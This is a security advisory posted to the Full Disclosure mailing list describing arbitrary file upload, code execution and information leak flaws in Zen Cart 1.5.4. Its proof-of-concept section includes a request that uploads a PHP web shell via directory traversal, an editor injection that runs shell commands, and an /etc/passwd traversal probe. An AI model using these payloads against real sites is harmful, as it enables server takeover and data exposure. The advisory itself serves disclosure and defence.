lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 14 Sep 2015 18:16:59 +0200
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] Zen Cart 1.5.4 - Code Execution and Information Leak

Zen Cart 1.5.4: Code Execution and Information Leak
Security Advisory – Curesec Research Team
1. Introduction

Affected Product: 	Zen Cart 1.5.4	
Fixed in: 		partial fix via patch
Partial Patch Link:
https://www.zen-cart.com/showthread.php?218239-curesec-security-report-Patch-Included

Vendor Contact: 	security@...-cart.com	
Vulnerability Type: 	Code Execution and Information Leak	
Remote Exploitable: 	Yes	
Reported to vendor: 	08/13/2015	
Disclosed to public: 	09/14/2015	
Release mode: 		Coordinated release	
CVE: 			n/a	
Credits 		Tim Coen of Curesec GmbH	

2. Vulnerability Description: Arbitrary File Upload

When uploading an image for a record, there is no check as to what type
or extension the file has, with the exception that it cannot be a
htaccess file. These files are stored in the /image directory, which is
protected from code execution via a htaccess file if the server is not
prevented from parsing htaccess files correctly (which may for example
be the case for speed and security reasons).

An attacker can perform a directory traversal via the img_dir POST
parameter to store an uploaded image outside of this protected
directory, thus gaining code execution or overwriting sensitive files,
even if the image directory is protected by the htaccess file.

The recommendations for denying code execution listed in the help-page
"Important Site Security Recommendations" - such as protecting the
/image and /html_includes folders against file modification and
execution - do not protect against code execution via this attack.

This problem exists for other classes performing file operations as
well, such as media_manager.php, manufacturers.php,
attributes_controller.php, mail.php, new_product_preview.php,
record_company.php, product_types.php, and categories.php.

Please note that an admin account is required that has the right to edit
one of the items that provide an image upload, such as the right
"Catalog: Product Types" or "Extra: Record Artists"
3. Proof of Concept: Arbitrary File Upload


        The request to upload a file may look like this:

            POST
/zen-cart-v1.5.4-12302014/admin2/record_artists.php?page=1&mID=1&action=save
HTTP/1.1
            Host: localhost

            ----------1358192638
            Content-Disposition: form-data; name="securityToken"

            30bb3768c3aa1120ccae02eca8ec8a4b
            ----------1358192638
            Content-Disposition: form-data; name="artists_name"

            The Russ Tippins Band
            ----------1358192638
            Content-Disposition: form-data; name="artists_image";
filename="test.php"
            Content-Type: application/x-php

            <?php
            passthru($_GET['x']);

            ----------1358192638
            Content-Disposition: form-data; name="img_dir"

            dvd/../../
            ----------1358192638
            Content-Disposition: form-data; name="artists_url[1]"

            www.russtippins.com/
            ----------1358192638
            Content-Disposition: form-data; name="x"

            37
            ----------1358192638
            Content-Disposition: form-data; name="y"

            9
            ----------1358192638--

4. Further
Code Execution

With an admin account with the right "Tools: Define Pages Editor" it is
possible to edit a limited number of PHP files which mainly contain HTML
here:
http://localhost/zen-cart-v1.5.4-12302014/admin2/define_pages_editor.php?define_it=4&action=new_page.

Execution of these files is prohibited via htaccess files, so with
correct server configuration, the intention seems to be that an attacker
should not be able to gain code execution via this editor.

However, the protection against code execution is insufficient, as any
injected code will be executed once the file is included. For example:

    visit
http://localhost/zen-cart-v1.5.4-12302014/admin2/define_pages_editor.php?define_it=8&action=new_page
    add <?php passthru($_GET['e']); ?>
    visit
http://localhost/zen-cart-v1.5.4-12302014/index.php?main_page=nonexistent&cPath=2&e=ls%20-alF

Please note that if the user followed the guide "Important Site Security
Recommendations", they will have set these files to read-only,
disallowing code execution.
Information Leak

Via a directory traversal on the products_image_large_additional
parameter, an attacker can check if a file exists on the server, thus
gaining information about installed software. Viewing of the file is not
possible.

Example:


http://localhost/zen-cart-v1.5.4-12302014/index.php?main_page=popup_image_additional&pID=26&pic=1&products_image_large_additional=../../../../../../../etc/passwd
        results in
        <a href="javascript:window.close()"><img
src="../../../../../../../etc/passwd"


http://localhost/zen-cart-v1.5.4-12302014/index.php?main_page=popup_image_additional&pID=26&pic=1&products_image_large_additional=../../../../../../../etc/passwd2
        results in default image being shown

5. Solution

To mitigate the information leak a patch can be used:
https://www.zen-cart.com/showthread.php?218239-curesec-security-report-Patch-Included

The Arbitrary File Upload vulnerability has not been fixed yet.

6. Report Timeline

08/13/2015 	Informed Vendor about Issue
09/12/2015 	Vendor releases report and partial fix
09/14/2015 	Disclosed to public

7. Blog Reference:
http://blog.curesec.com/article/blog/Zen-Cart-154-Code-Execution-and-Information-Leak-54.html

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ